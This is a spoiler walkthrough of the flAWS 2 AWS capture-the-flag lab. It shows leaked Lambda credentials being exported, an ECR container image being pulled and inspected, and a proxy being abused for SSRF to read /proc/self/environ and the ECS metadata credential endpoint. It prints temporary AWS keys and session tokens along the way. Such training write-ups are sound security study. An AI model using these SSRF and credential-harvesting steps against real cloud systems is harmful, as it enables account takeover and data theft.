Warning Spoilers!

This writeup goes through the attacker path of FlAWS 2.

Attack

Level 1

When the input is submitted on the website it sends a request to an API

If we send it an invalid request https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=foo it returns a json output back

{
    "_AWS_XRAY_DAEMON_PORT": "2000",
    "AWS_LAMBDA_FUNCTION_NAME": "level1",
    "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJIMEYCIQC542/5PLQX0QPSq1dzZgq59qOaNUFdP4PZ5wjh6sqTQgIhAMf9EeZcyHNgeGqLv05tRynuMHSnfPEHVhJkXNS/3P87KuACCFIQAxoMNjUzNzExMzMxNzg4Igz2OEdrlk6XYbqiaVgqvQK5AE+uPp9T9mOl+f719Fq1sXKWoiwkEWstbbfd6L2Ur+XXyK/U6N88kdXi+DAPCBYCMhW5wNpSJHwWGPA7WE87PqDUWdAHzWItM2FIYOzkE0B1xGFe1QQ3MtLCf8HkvIVYhJsi64O87x0OHp0XkhEhWUNNWwqJL5yzSxJWqKDOpgPAUuN06zCRQWUJ3H4apFLa8JcxCFaujydNujlNsTS3VVN4EJPCccKgxitHHLkF825obqZ3IV6jnAmDRLfSvxxT5ltFf8wE9jyuEi0ty8d1dgJOg4B/sKp64NFGNEIhxx1BONEmB+e70i0Wn/NuvHJjmltmFd+McceX0h08xOiSNQ3MzgHxsZqbyzBPvaiBwKNrybO6x0XpiyEbI28YLsXru5CYwsP6gc3TgoeHeVQMXxcS9W1XDPJyh8uOjDCUgNqnBjqdAbtSrSjNEaQIvHly++ldEMBJGNvvNvLsdYC1WfvSQl3LyPXPYUWz22h85oVH9yaWDUL5S7eseS1VrEBHkMHL0nd35J/Wk3S4A/QsSWoTCSNVxlQJJEZ+RVp37emOWcjK/G4z2C9EeUTQMhFh9wM4W8ob+zzgDFq4Vho8t6Vxv1lj5Nt2fxoCldUtXTdiFdhEQXmeIv6mLjG6YonQKns=",
    "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
    "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129:2000",
    "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
    "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129",
    "AWS_LAMBDA_INITIALIZATION_TYPE": "on-demand",
    "AWS_DEFAULT_REGION": "us-east-1",
    "AWS_LAMBDA_RUNTIME_API": "127.0.0.1:9001",
    "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
    "AWS_SECRET_ACCESS_KEY": "c/Rz3WExEsOInRv3u5DCkywfm0GSaq3oc23yeDR5",
    "TZ": ":UTC",
    "LAMBDA_RUNTIME_DIR": "/var/runtime",
    "LAMBDA_TASK_ROOT": "/var/task",
    "AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGKDQERRMG",
    "AWS_REGION": "us-east-1",
    "LANG": "en_US.UTF-8",
    "_HANDLER": "index.handler",
    "AWS_LAMBDA_LOG_STREAM_NAME": "2023/09/05/[$LATEST]23b4c7b71ec64d1c90502dc0aa7526c6",
    "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
    "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
    "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
    "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
    "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
    "_X_AMZN_TRACE_ID": "Root=1-64f680f7-16b4323239620c57349b8b96;Parent=070fb765490e30ef;Sampled=0;Lineage=e547cb94:0"
}

Exporting the credentials into our local environment for poking around. We assume the domain is a S3 bucket. When hitting a URL that does not exist we can confirm this (level1.flaws2.cloud/foo).

export AWS_ACCESS_KEY_ID=ASIAZQNB3KHGKDQERRMG
export AWS_SECRET_ACCESS_KEY=c/Rz3WExEsOInRv3u5DCkywfm0GSaq3oc23yeDR5
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJIMEYCIQC542/5PLQX0QPSq1dzZgq59qOaNUFdP4PZ5wjh6sqTQgIhAMf9EeZcyHNgeGqLv05tRynuMHSnfPEHVhJkXNS/3P87KuACCFIQAxoMNjUzNzExMzMxNzg4Igz2OEdrlk6XYbqiaVgqvQK5AE+uPp9T9mOl+f719Fq1sXKWoiwkEWstbbfd6L2Ur+XXyK/U6N88kdXi+DAPCBYCMhW5wNpSJHwWGPA7WE87PqDUWdAHzWItM2FIYOzkE0B1xGFe1QQ3MtLCf8HkvIVYhJsi64O87x0OHp0XkhEhWUNNWwqJL5yzSxJWqKDOpgPAUuN06zCRQWUJ3H4apFLa8JcxCFaujydNujlNsTS3VVN4EJPCccKgxitHHLkF825obqZ3IV6jnAmDRLfSvxxT5ltFf8wE9jyuEi0ty8d1dgJOg4B/sKp64NFGNEIhxx1BONEmB+e70i0Wn/NuvHJjmltmFd+McceX0h08xOiSNQ3MzgHxsZqbyzBPvaiBwKNrybO6x0XpiyEbI28YLsXru5CYwsP6gc3TgoeHeVQMXxcS9W1XDPJyh8uOjDCUgNqnBjqdAbtSrSjNEaQIvHly++ldEMBJGNvvNvLsdYC1WfvSQl3LyPXPYUWz22h85oVH9yaWDUL5S7eseS1VrEBHkMHL0nd35J/Wk3S4A/QsSWoTCSNVxlQJJEZ+RVp37emOWcjK/G4z2C9EeUTQMhFh9wM4W8ob+zzgDFq4Vho8t6Vxv1lj5Nt2fxoCldUtXTdiFdhEQXmeIv6mLjG6YonQKns=

aws sts get-caller-identity
# {
#     "UserId": "AROAIBATWWYQXZTTALNCE:level1",
#     "Account": "653711331788",
#     "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
# }

aws s3 ls s3://level1.flaws2.cloud
#                            PRE img/
# 2018-11-20 15:55:05      17102 favicon.ico
# 2018-11-20 21:00:22       1905 hint1.htm
# 2018-11-20 21:00:22       2226 hint2.htm
# 2018-11-20 21:00:22       2536 hint3.htm
# 2018-11-20 21:00:23       2460 hint4.htm
# 2018-11-20 21:00:17       3000 index.htm
# 2018-11-20 21:00:17       1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html

curl http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
# The next level is at http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud

Level 2

http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud

The target endpoint is http://container.target.flaws2.cloud/

From the hint we know there is a ECR repository. Using the same credentials from level 1.

aws ecr list-images --repository-name level2
# {
#     "imageIds": [
#         {
#             "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
#             "imageTag": "latest"
#         }
#     ]
# }

aws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com

docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

Now that the image is pulled on our machine lets inspect & exec into the container and see if we can find the credentials.

docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
# "Cmd": [
#     "/bin/sh",
#     "-c",
#     "#(nop) ",
#     "CMD [\"sh\" \"/var/www/html/start.sh\"]"
# ]

Open a shell into the container

docker container run -it --rm 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest bash
# root@0a45ca9bc398:/#

cd /var/www/html/

ls -l
# -rw-r--r-- 1 root root 1890 Nov 26  2018 index.htm
# -rw-r--r-- 1 root root  612 Nov 27  2018 index.nginx-debian.html
# -rw-r--r-- 1 root root  614 Nov 27  2018 proxy.py
# -rw-r--r-- 1 root root   49 Nov 26  2018 start.sh

cat index.htm
# http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud

Level 3

http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud

The endpoint http://container.target.flaws2.cloud/proxy/http://neverssl.com acts as a proxy. From it we might be able to hit the AWS metadata server.

Knowing that the web server is the docker image we looked at on level 2. I am assuming its running on ECS.

Lets try to hit the task metadata endpoint version 2 which is long depricated & does not have a lot of documentation

curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/
# No Credenitl ID in request
## We need to get the GUID for credentials

# Get the GUID from the running environment process
curl http://container.target.flaws2.cloud/proxy/file:///proc/self/environ
# AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4

curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4/
# Cannot have a ending backslack...

curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/72451cb2-1e34-4d61-be82-018b08c2eca4
# {
#   "RoleArn": "arn:aws:iam::653711331788:role/level3",
#   "AccessKeyId": "ASIAZQNB3KHGEBPHXI67",
#   "SecretAccessKey": "bc4yWR/aT7aeLg+kWZNqtC9ppj3QNqyZoLPIRsP5",
#   "Token": "IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJHMEUCIDbbW++HfqehRwLCqB7t4NuU13tgjrDpFoEji0yJ7o+FAiEAhGMEONQz06wGpK0931X1hgg7X2A0/s3lq3ZodnTcyU0q4wMIUxADGgw2NTM3MTEzMzE3ODgiDNL0tc4JiBhwTpnkACrAA1hZl/t90BI3QNCwRD4mEg87OLlQzQMy8I67Mp3P6njwitPNcD7ACn/tNVvy/SHrmA3i+jcrFjwCb71APFvsrA4ew7IW762dvNT/Ih/jwoLwWYr1plIgrfHbLecvcfAIS7u3pqaZZzdlKDNGUWOwR4zvpj4YWt6jS7A6gfbE+Rt2UROLasJtO5xlhhLG1MnFVRwSkruiW7NTtdGe4ayeme1EE3inC7QS0BQnRyRU247bAfZurVORrns2h3ifBZMFoLJbI7sQvmn8FRlRQf92eCbLl8adiBLJpRG3/UYkbG52DuPZvYfgwTvndfmObyzAnxSjtIjHbdCwtxrfhEZjlJiuC3oAFRGHufyCUhwBdkQ+hxPymSjWHc3MKIEz1+TijyS4JZtM78HAn5sefqZv7ONcvKq1xR57LlokqkmRj95Q5hBF5eLqvgjQni1+0MC1puqa3v9Nfqo09uq/+vqkDOrauYT3yuZhNEJVV4lY7ZgFYa7xfU2kW/2yjVaBC4sDkTlD5KGfocJf/Ku8kF4MBYRqhcsK9P44BbvUh0bSiGy+sz1I8XptR+sDh4fV0Lg5V5Vj75m33EATtC5Tvm5PDWUw8ZDapwY6pQHmW8wq1UdvqbNplGBIm7g4XyyUjEWYusGQ2I4E1twfza8+697ozXUDop+JtyTCqcpiiBOPcSM42ZlY9jeuh9QQQsoeRPJGQlrk+adkKerXLwMA9jsPKovXoQdM5oUD5HBa77wELjh5ErNotVNbYrigd51dTGJXb4oLlytcbvFOmtZSrcw+M9/B9lwZDLVVMbJ0LmI8qAftHRGn0LOtLRrLei9L6mU=",
#   "Expiration": "2023-09-05T07:46:25Z"
# }

Now that we have access keys lets finish this.

export AWS_ACCESS_KEY_ID=ASIAZQNB3KHGEBPHXI67
export AWS_SECRET_ACCESS_KEY=bc4yWR/aT7aeLg+kWZNqtC9ppj3QNqyZoLPIRsP5
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJHMEUCIDbbW++HfqehRwLCqB7t4NuU13tgjrDpFoEji0yJ7o+FAiEAhGMEONQz06wGpK0931X1hgg7X2A0/s3lq3ZodnTcyU0q4wMIUxADGgw2NTM3MTEzMzE3ODgiDNL0tc4JiBhwTpnkACrAA1hZl/t90BI3QNCwRD4mEg87OLlQzQMy8I67Mp3P6njwitPNcD7ACn/tNVvy/SHrmA3i+jcrFjwCb71APFvsrA4ew7IW762dvNT/Ih/jwoLwWYr1plIgrfHbLecvcfAIS7u3pqaZZzdlKDNGUWOwR4zvpj4YWt6jS7A6gfbE+Rt2UROLasJtO5xlhhLG1MnFVRwSkruiW7NTtdGe4ayeme1EE3inC7QS0BQnRyRU247bAfZurVORrns2h3ifBZMFoLJbI7sQvmn8FRlRQf92eCbLl8adiBLJpRG3/UYkbG52DuPZvYfgwTvndfmObyzAnxSjtIjHbdCwtxrfhEZjlJiuC3oAFRGHufyCUhwBdkQ+hxPymSjWHc3MKIEz1+TijyS4JZtM78HAn5sefqZv7ONcvKq1xR57LlokqkmRj95Q5hBF5eLqvgjQni1+0MC1puqa3v9Nfqo09uq/+vqkDOrauYT3yuZhNEJVV4lY7ZgFYa7xfU2kW/2yjVaBC4sDkTlD5KGfocJf/Ku8kF4MBYRqhcsK9P44BbvUh0bSiGy+sz1I8XptR+sDh4fV0Lg5V5Vj75m33EATtC5Tvm5PDWUw8ZDapwY6pQHmW8wq1UdvqbNplGBIm7g4XyyUjEWYusGQ2I4E1twfza8+697ozXUDop+JtyTCqcpiiBOPcSM42ZlY9jeuh9QQQsoeRPJGQlrk+adkKerXLwMA9jsPKovXoQdM5oUD5HBa77wELjh5ErNotVNbYrigd51dTGJXb4oLlytcbvFOmtZSrcw+M9/B9lwZDLVVMbJ0LmI8qAftHRGn0LOtLRrLei9L6mU=

aws sts get-caller-identity
# {
#     "UserId": "AROAJQMBDNUMIKLZKMF64:f585a4cfc9ed47faa6a43ce70a51ba01",
#     "Account": "653711331788",
#     "Arn": "arn:aws:sts::653711331788:assumed-role/level3/f585a4cfc9ed47faa6a43ce70a51ba01"
# }

aws s3 ls
# 2018-11-20 14:50:08 flaws2.cloud
# 2018-11-20 13:45:26 level1.flaws2.cloud
# 2018-11-20 20:41:16 level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
# 2018-11-26 14:47:22 level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
# 2018-11-27 15:37:27 the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud

Visit the website the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud